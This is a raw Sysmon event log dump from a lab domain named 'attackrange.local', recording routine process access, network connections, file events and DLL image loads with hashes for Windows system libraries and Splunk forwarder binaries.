14:58:17.325{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000049000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.326{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000016329Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:15.401{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50285-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016331Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:18.360{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6CC1CDC0F4BB4609FA0DE6BEC06A39E0,SHA256=22E7B40F5BC528F2BAAB5146960DDCC7368EBC54F6BEFA31C58E3E1EF83032B8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000049158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.981{7BD73061-6D0F-613B-9406-00000000F001}4480172C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 23542300x800000000000000049156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.747{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5ECC558857109B75D025FD6C4C7EED8A,SHA256=1003E8DEAA73D3B57007F0CBE9F657C871403BFA561E283635637467DF7FF986,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.685{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000049154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.685{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000049153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.685{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000049152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.685{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000049151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.685{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000049150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.685{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000049149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.685{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000049148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.685{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000049147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000049146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000049141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000049140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000049138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000049137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000049136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000049133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000049132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000049131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000049129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000049128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000049126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000049125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000049123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000049122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000049121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:18.669{7BD73061-728A-613B-4F0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000049120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 